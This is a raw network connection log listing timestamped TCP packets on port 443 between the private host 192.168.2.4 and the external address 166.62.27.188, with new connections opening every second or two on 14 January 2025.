Jan 14, 2025 08:23:21.329876900 CET	49763	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:21.329883099 CET	443	49763	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:21.459122896 CET	49764	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:21.459191084 CET	443	49764	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:21.459342957 CET	49764	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:21.483547926 CET	49764	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:21.483653069 CET	443	49764	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:21.483733892 CET	49764	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:21.487194061 CET	49765	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:21.487243891 CET	443	49765	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:21.487360954 CET	49765	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:21.487730980 CET	49765	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:21.487746000 CET	443	49765	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:22.393126965 CET	443	49765	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:22.393223047 CET	49765	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:22.394551992 CET	49765	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:22.394561052 CET	443	49765	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:22.394809008 CET	443	49765	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:22.396353960 CET	49765	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:22.439340115 CET	443	49765	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:22.980767965 CET	443	49765	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:22.980958939 CET	443	49765	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:22.981013060 CET	49765	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:22.981790066 CET	49765	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:22.981806993 CET	443	49765	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:22.981822014 CET	49765	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:22.981827974 CET	443	49765	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:23.108318090 CET	49766	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:23.108381033 CET	443	49766	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:23.108448982 CET	49766	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:23.108537912 CET	49766	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:23.108685970 CET	443	49766	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:23.108762026 CET	49766	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:23.110621929 CET	49767	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:23.110685110 CET	443	49767	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:23.110769033 CET	49767	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:23.111059904 CET	49767	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:23.111077070 CET	443	49767	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:23.995083094 CET	443	49767	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:23.995244026 CET	49767	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:23.997138023 CET	49767	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:23.997148991 CET	443	49767	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:23.997474909 CET	443	49767	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:23.999094963 CET	49767	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.043329000 CET	443	49767	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:24.572735071 CET	443	49767	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:24.572901964 CET	443	49767	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:24.572977066 CET	49767	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.573055029 CET	49767	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.573081970 CET	443	49767	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:24.573096991 CET	49767	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.573103905 CET	443	49767	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:24.699615002 CET	49768	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.699702024 CET	443	49768	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:24.700020075 CET	49768	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.700020075 CET	49768	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.700320005 CET	443	49768	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:24.700421095 CET	49768	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.702516079 CET	49769	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.702603102 CET	443	49769	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:24.702686071 CET	49769	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.703001022 CET	49769	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:24.703025103 CET	443	49769	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:25.619669914 CET	443	49769	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:25.619766951 CET	49769	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:25.621026993 CET	49769	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:25.621040106 CET	443	49769	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:25.621388912 CET	443	49769	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:25.622704983 CET	49769	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:25.667344093 CET	443	49769	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:26.213174105 CET	443	49769	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:26.213381052 CET	443	49769	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:26.213473082 CET	49769	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:26.213530064 CET	49769	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:26.213551998 CET	443	49769	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:26.213562965 CET	49769	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:26.213568926 CET	443	49769	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:26.349956036 CET	49770	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:26.350056887 CET	443	49770	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:26.350168943 CET	49770	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:26.350353003 CET	49770	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:26.350409031 CET	443	49770	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:26.350486994 CET	49770	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:26.367774010 CET	49771	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:26.367820024 CET	443	49771	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:26.367909908 CET	49771	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:26.368275881 CET	49771	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:26.368292093 CET	443	49771	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.268693924 CET	443	49771	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.268779993 CET	49771	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:27.270318031 CET	49771	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:27.270327091 CET	443	49771	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.271099091 CET	443	49771	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.272429943 CET	49771	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:27.315335035 CET	443	49771	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.856333971 CET	443	49771	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.856597900 CET	443	49771	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.856692076 CET	49771	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:27.857578039 CET	49771	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:27.857604980 CET	443	49771	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.857618093 CET	49771	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:27.857623100 CET	443	49771	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.998091936 CET	49772	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:27.998153925 CET	443	49772	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.998231888 CET	49772	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:27.998353004 CET	49772	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:27.998440981 CET	443	49772	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:27.998507023 CET	49772	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:28.001672029 CET	49773	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:28.001715899 CET	443	49773	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:28.001837015 CET	49773	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:28.002170086 CET	49773	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:28.002187014 CET	443	49773	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:28.914736032 CET	443	49773	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:28.914870024 CET	49773	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:28.916232109 CET	49773	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:28.916260958 CET	443	49773	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:28.916637897 CET	443	49773	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:28.917823076 CET	49773	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:28.959353924 CET	443	49773	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:29.506535053 CET	443	49773	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:29.506820917 CET	443	49773	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:29.506891012 CET	49773	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:29.508057117 CET	49773	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:29.508078098 CET	443	49773	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:29.508093119 CET	49773	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:29.508100033 CET	443	49773	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:29.644205093 CET	49774	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:29.644298077 CET	443	49774	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:29.644428015 CET	49774	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:29.654182911 CET	49774	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:29.654259920 CET	443	49774	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:29.654323101 CET	49774	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:29.656609058 CET	49775	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:29.656677008 CET	443	49775	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:29.656812906 CET	49775	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:29.657147884 CET	49775	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:29.657196999 CET	443	49775	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:30.570679903 CET	443	49775	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:30.570804119 CET	49775	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:30.572700977 CET	49775	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:30.572719097 CET	443	49775	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:30.573509932 CET	443	49775	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:30.576055050 CET	49775	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:30.619373083 CET	443	49775	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:31.154789925 CET	443	49775	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:31.154896975 CET	443	49775	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:31.155143976 CET	49775	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:31.155237913 CET	49775	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:31.155237913 CET	49775	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:31.155284882 CET	443	49775	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:31.155319929 CET	443	49775	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:31.282041073 CET	49776	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:31.282085896 CET	443	49776	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:31.282213926 CET	49776	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:31.282447100 CET	49776	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:31.282499075 CET	443	49776	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:31.282825947 CET	49776	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:31.284936905 CET	49777	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:31.285032988 CET	443	49777	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:31.285119057 CET	49777	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:31.285410881 CET	49777	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:31.285450935 CET	443	49777	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.186480045 CET	443	49777	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.186580896 CET	49777	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.198340893 CET	49777	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.198358059 CET	443	49777	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.199254990 CET	443	49777	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.210073948 CET	49777	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.255332947 CET	443	49777	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.775777102 CET	443	49777	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.775934935 CET	443	49777	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.776026964 CET	49777	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.776113033 CET	49777	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.776160002 CET	443	49777	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.776189089 CET	49777	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.776205063 CET	443	49777	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.903721094 CET	49778	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.903785944 CET	443	49778	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.903870106 CET	49778	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.903930902 CET	49778	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.904043913 CET	443	49778	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.904104948 CET	49778	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.906403065 CET	49779	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.906466007 CET	443	49779	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:32.906553030 CET	49779	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.907212019 CET	49779	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:32.907246113 CET	443	49779	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:33.822251081 CET	443	49779	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:33.822406054 CET	49779	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:33.823647976 CET	49779	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:33.823676109 CET	443	49779	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:33.824456930 CET	443	49779	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:33.826042891 CET	49779	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:33.867351055 CET	443	49779	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:34.405422926 CET	443	49779	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:34.405544996 CET	443	49779	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:34.405616045 CET	49779	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:34.405709982 CET	49779	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:34.405735970 CET	443	49779	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:34.405750990 CET	49779	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:34.405757904 CET	443	49779	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:34.532711983 CET	49780	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:34.532767057 CET	443	49780	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:34.532864094 CET	49780	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:34.532995939 CET	49780	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:34.533051014 CET	443	49780	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:34.533113003 CET	49780	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:34.535375118 CET	49781	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:34.535434961 CET	443	49781	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:34.535528898 CET	49781	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:34.535845041 CET	49781	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:34.535871983 CET	443	49781	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:35.424350977 CET	443	49781	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:35.424446106 CET	49781	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:35.426187038 CET	49781	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:35.426213026 CET	443	49781	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:35.426584005 CET	443	49781	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:35.428634882 CET	49781	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:35.471343994 CET	443	49781	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:36.003345966 CET	443	49781	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:36.003668070 CET	443	49781	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:36.003741980 CET	49781	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:36.003799915 CET	49781	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:36.003823996 CET	443	49781	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:36.003835917 CET	49781	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:36.003842115 CET	443	49781	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:36.158771992 CET	49782	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:36.158833981 CET	443	49782	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:36.158930063 CET	49782	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:36.159056902 CET	49782	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:36.159100056 CET	443	49782	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:36.159158945 CET	49782	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:36.161819935 CET	49783	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:36.161868095 CET	443	49783	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:36.161947012 CET	49783	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:36.162297964 CET	49783	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:36.162313938 CET	443	49783	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.077495098 CET	443	49783	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.077765942 CET	49783	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.079662085 CET	49783	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.079674006 CET	443	49783	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.080004930 CET	443	49783	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.081357956 CET	49783	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.127341032 CET	443	49783	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.671406984 CET	443	49783	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.671566963 CET	443	49783	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.671873093 CET	49783	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.671873093 CET	49783	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.671969891 CET	49783	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.672009945 CET	443	49783	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.801111937 CET	49784	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.801146984 CET	443	49784	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.801321983 CET	49784	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.801500082 CET	49784	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.801554918 CET	443	49784	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.803093910 CET	49784	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.804074049 CET	49785	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.804178953 CET	443	49785	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:37.804297924 CET	49785	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.804728985 CET	49785	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:37.804764986 CET	443	49785	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:38.713773012 CET	443	49785	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:38.713939905 CET	49785	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:38.715370893 CET	49785	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:38.715399981 CET	443	49785	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:38.715743065 CET	443	49785	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:38.716973066 CET	49785	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:38.759345055 CET	443	49785	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:39.296190977 CET	443	49785	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:39.296353102 CET	443	49785	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:39.296602964 CET	49785	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:39.300641060 CET	49785	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:39.300693035 CET	443	49785	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:39.300725937 CET	49785	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:39.300741911 CET	443	49785	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:39.426142931 CET	49786	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:39.426192999 CET	443	49786	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:39.426341057 CET	49786	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:39.426502943 CET	49786	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:39.426610947 CET	443	49786	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:39.426871061 CET	49786	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:39.428764105 CET	49787	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:39.428883076 CET	443	49787	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:39.428977013 CET	49787	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:39.429254055 CET	49787	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:39.429291964 CET	443	49787	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:40.474292994 CET	443	49787	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:40.474416971 CET	49787	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:40.476025105 CET	49787	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:40.476054907 CET	443	49787	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:40.476336002 CET	443	49787	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:40.477845907 CET	49787	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:40.519344091 CET	443	49787	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:41.067414999 CET	443	49787	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:41.067594051 CET	443	49787	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:41.067684889 CET	49787	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:41.086069107 CET	49787	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:41.086138964 CET	443	49787	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:41.086198092 CET	49787	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:41.086218119 CET	443	49787	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:41.222404957 CET	49788	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:41.222459078 CET	443	49788	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:41.222795963 CET	49788	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:41.266875982 CET	49788	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:41.266978979 CET	443	49788	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:41.267040968 CET	49788	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:41.279369116 CET	49789	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:41.279468060 CET	443	49789	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:41.279551029 CET	49789	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:41.280088902 CET	49789	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:41.280124903 CET	443	49789	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.191224098 CET	443	49789	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.191342115 CET	49789	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.192703009 CET	49789	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.192715883 CET	443	49789	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.193500042 CET	443	49789	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.195171118 CET	49789	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.239335060 CET	443	49789	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.775064945 CET	443	49789	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.775295973 CET	443	49789	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.775365114 CET	49789	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.775404930 CET	49789	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.775423050 CET	443	49789	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.775434017 CET	49789	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.775439024 CET	443	49789	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.905884981 CET	49790	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.905958891 CET	443	49790	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.906059980 CET	49790	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.906184912 CET	49790	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.906259060 CET	443	49790	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.906321049 CET	49790	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.909228086 CET	49791	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.909279108 CET	443	49791	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:42.909369946 CET	49791	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.909761906 CET	49791	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:42.909776926 CET	443	49791	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:43.829670906 CET	443	49791	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:43.829757929 CET	49791	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:43.890723944 CET	49791	443	192.168.2.4	166.62.27.188
